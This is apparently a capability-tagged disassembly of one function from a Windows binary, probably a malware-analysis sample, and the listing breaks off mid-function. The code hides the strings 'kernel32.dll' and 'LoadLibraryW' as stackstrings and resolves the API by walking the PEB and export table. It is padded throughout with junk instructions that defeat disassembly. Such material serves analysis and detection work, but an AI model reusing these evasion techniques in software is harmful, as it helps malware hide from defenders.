Function at 0x4377d5
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x438026
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
xor edi, 0xeed7
xor edi, 0x169ff
pop edi
push ebx
sub ebx, 0x4bdd
call 0x4377d5
add byte [edi + 0x44], cl
inc esp
cmp al, 0x48
dec ecx
dec ebp
add esp, 4
or ebx, 0x91fc
sub ebx, 0x1506b
pop ebx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
push eax
add esp, 4
or esi, 0x11095
and esi, 0x1131e
or esi, 0xed07
pop esi
push eax
or eax, 0xb7c4
and eax, 0x15cfb
add eax, 0x1648e
or eax, 0x181f4
pop eax
cmp dword [ebp - 0x14dc], 0
jne 0x4378b1
mov dword [ebp - 0x6ec], 0
jmp 0x437b6d
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
push ebx
add esp, 4
sub eax, 0x860b
sub eax, 0x10c33
pop eax
push esi
sub esi, 0x17123
pop esi
push ecx
push ecx
add esp, 4
sub ecx, 0xf29d
xor ecx, 0x4d7f
xor ecx, 0x5708
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x43790d
mov dword [ebp - 0x6ec], 0
jmp 0x437b6d
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
or edx, 0x5ab6
or edx, 0x9d25
xor edx, 0x12ee9
add edx, 0x11730
pop edx
push edx
push esi
add esp, 4
sub edx, 0x119eb
jmp 0x437944
and edx, 0x34d9
pop edx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ecx
xor ecx, 0x17abe
jmp 0x437985
xor ecx, 0xfe71
pop ecx
push ecx
push ebx
add esp, 4
xor ecx, 0x169d7
sub ecx, 0x6a35
xor ecx, 0x8be7
or ecx, 0x7d77
pop ecx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
and esi, 0x7a2
call 0x437a1a
add byte [ebx + 0x38], al
inc ebx
dec ebx
inc eax
inc edi
xor eax, 0xc4833a32
add al, 0x81
out dx, al
add al, 1
add byte [esi + 0x56], bl
push edi
add esp, 4
or esi, 0x16361
and esi, 0xc73a
pop esi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x437a59
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x437abc
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x437978
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x437978
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x437aa6
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x437ab0
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x437b05
push edi
and edi, 0x5b07
sub edi, 0xedd5
pop edi
push edx
push eax
add esp, 4
sub edx, 0x59ec
and edx, 0x15b28
pop edx
push ebx
push eax
add esp, 4
sub ebx, 0x118a8
xor ebx, 0x29fe
pop ebx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x437b6d
push ebx
push esi
add esp, 4
jmp 0x437b10
sub ebx, 0xa730
jmp 0x437b1c
pop ebx
push edx
xor edx, 0x14811
pop edx
push ecx
push eax
add esp, 4
or ecx, 0x75b7
xor ecx, 0x9042
pop ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x437b63
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x437919
mov dword [ebp - 0x6ec], 0
push edi
push edi
add esp, 4
call 0x437b81
add byte [esi + 0x37], al
dec esi
cmp eax, 0x43464e49
add esp, 4
add edi, 0x10ac9
xor edi, 0xd743
pop edi
push ebx
xor ebx, 0x63a6
sub ebx, 0x165b8
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x437be9
push edi
push ecx
add esp, 4
add edi, 0xbd89
xor edi, 0x31a1
pop edi
push edx
sub edx, 0x371f
and edx, 0x13b6b
pop edx
push ebx
push edx
add esp, 4
add ebx, 0xc362
or ebx, 0x8e4
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x438710
push ebx
push ecx
add esp, 4
or ebx, 0x8c94
xor ebx, 0x60c8
or ebx, 0x10520
pop ebx
push edx
or edx, 0x15762
or edx, 0xf978
or edx, 0x16190
and edx, 0x83df
pop edx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x437c5a
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x437f4b
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x437c82
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x437f4b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x437cb4
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x437f4b
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x437cd9
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x437f4b
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x437d33
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x437f3f
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x437da3
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x437e55
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x437e55
push esi
sub esi, 0x1037c
jmp 0x437de0
call 0x437df0
add byte [eax + 0x46], cl
inc ecx
inc esi
xor al, 0x41
aas
dec ecx
dec edi
inc ecx
add esp, 4
and esi, 0x54f5
pop esi
push ebx
sub ebx, 0x8d01
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x437e47
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x437e4e
jmp 0x437d94
jmp 0x437e55
push ecx
push ecx
add esp, 4
call 0x437e66
add byte [ebx], bh
aas
dec esi
dec ecx
inc edx
dec eax
add esp, 4
call 0x437e76
add byte [ecx], bh
dec esi
dec esi
xor bh, byte [ebx]
push eax
inc eax
add esp, 4
jmp 0x437e7f
jmp 0x437e86
pop ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x437eb4
mov dword [ebp - 0xc30], 0
jmp 0x437f23
push eax
push edx
add esp, 4
add eax, 0x2139
xor eax, 0xddf5
sub eax, 0x4852
pop eax
push eax
or eax, 0xacf7
call 0x437ee2
add byte [eax + 0x35], cl
cmp al, 0x3c
inc eax
xor al, 0x45
aas
dec esi
add esp, 4
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x437f19
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x437f23
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x437f3a
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x437f4b
jmp 0x437d24
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x438026
push ebx
push ecx
add esp, 4
jmp 0x437f63
sub ebx, 0x17ece
add ebx, 0x163d3
pop ebx
push ebx
push ecx
add esp, 4
sub ebx, 0x4750
jmp 0x437f83
or ebx, 0x1fe4
pop ebx
mov eax, dword [ebp - 0x3c4]